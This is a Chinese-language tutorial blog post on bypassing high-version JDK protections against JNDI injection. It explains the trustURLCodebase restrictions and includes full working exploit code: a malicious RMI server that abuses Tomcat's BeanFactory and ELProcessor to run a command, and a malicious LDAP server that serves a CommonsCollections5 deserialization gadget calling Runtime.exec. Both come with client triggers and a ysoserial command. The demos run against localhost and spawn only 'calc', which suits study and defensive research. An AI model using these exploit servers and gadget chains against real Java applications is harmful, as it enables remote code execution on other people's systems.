前面说了JNDI注入的基本知识,但是JNDI注入跟jdk版本是有一定关系的,在高版本JDK中存在一定的限制,本篇文件就是来看看如果来绕过这种限制。
JNDI的一个基本攻击流程
再来回顾一下JNDI的基本攻击过程,攻击者实现一个RMI恶意远程对象并绑定到RMI Registry上,编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上,供受害者的RMI客户端远程加载。RMI客户端在 lookup() 的过程中,会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载,然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象,这种方式将会受到useCodebaseOnly 的限制。利用条件如下:
- RMI客户端的上下文环境允许访问远程Codebase。
- 属性 java.rmi.server.useCodebaseOnly 的值必需为false。
codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。
JDK对JNDI的限制
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。 JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
看了上面限制的介绍,目前高版本JDK的防护方式主要是针对加载远程的ObjectFactory的加载做限制,只有开启了某些属性后才会通过指定的远程地址获取ObjectFactory的Class并实例化,进而通过ObjectFactory#getObjectInstance来获取返回的真实对象。但是在加载远程地址获取ObjectFactory前,首先在本地ClassPath下加载指定的ObjectFactory,本地加载ObjectFactory失败后才会加载远程地址的ObjectFactory,所以一个主要的绕过思路就是加载本地ClassPath下的ObjectFactory。
常用类介绍
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类; javax.naming.event:在命名目录服务器中请求事件通知; javax.naming.ldap:提供LDAP支持; javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
Reference类
该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
/* 参数: className 远程加载时所使用的类名 factory 加载的class中需要实例化类的名称 factoryLocation 提供classes数据的地址可以是file/ftp/http协议 */
绕过手段
1)通过加载本地类
找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
通过分析javax.naming.spi.NamingManager#getObjectFactoryFromReference可以发现,这个本地类要满足下面的条件
1)最后return的是一个强制转换的ObjectFactory类型,也就是工厂类必须实现 javax.naming.spi.ObjectFactory 接口
2)该工厂类至少存在一个 getObjectInstance() 方法
满足上面条件的类就是org.apache.naming.factory.BeanFactory类,并且存在于Tomcat依赖包中,所以使用也是非常广泛
2)通过本地反序列化
利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。
这两种方式都依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。前者是tomcat8/9才引入的,后者需要本地反序列化链
复现如下
服务端代码
import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServerLocal { public static void main(String[] args) throws Exception{ /* 通过加载本地类进行利用,需要在tomcat的环境下 */ System.out.println("Creating evil RMI registry on port 1099"); Registry registry = LocateRegistry.createRegistry(1099); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
客户端代码
import javax.naming.InitialContext; public class RmiClientLocal { public static void main(String[] args) throws Exception{ Object object=new InitialContext().lookup("rmi://127.0.0.1:1099/Object"); } }
先运行服务端,在运行客户端如下
通过本地反序列化
pom依赖
<dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> </dependency>
服务端代码
package org.rmitest; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.InetAddress; import java.net.URL; import java.util.HashMap; import java.util.Map; public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] tmp_args ) throws Exception{ String[] args=new String[]{"http://127.0.0.1:8081/#test"}; int port = 4444; InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } //CommonsCollections5()可以换成 Base64.decode("cc5链条序列化加base64的内容")java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'calc'|base64 e.addAttribute("javaSerializedData",CommonsCollections5()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } private static byte[] CommonsCollections5() throws Exception{ Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test"); BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null); Field field=badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException,tiedMapEntry); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(badAttributeValueExpException); objectOutputStream.close(); return byteArrayOutputStream.toByteArray(); } }
客户端代码
package org.rmitest; import javax.naming.InitialContext; public class LDAPClient { public static void main(String[] args) throws Exception { Object object=new InitialContext().lookup("ldap://127.0.0.1:4444/dc=example,dc=com"); } }
运行结果
利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作
参考链接
https://blog.csdn.net/weixin_45682070/article/details/122622236
https://blog.csdn.net/yangyangrenren/article/details/122097191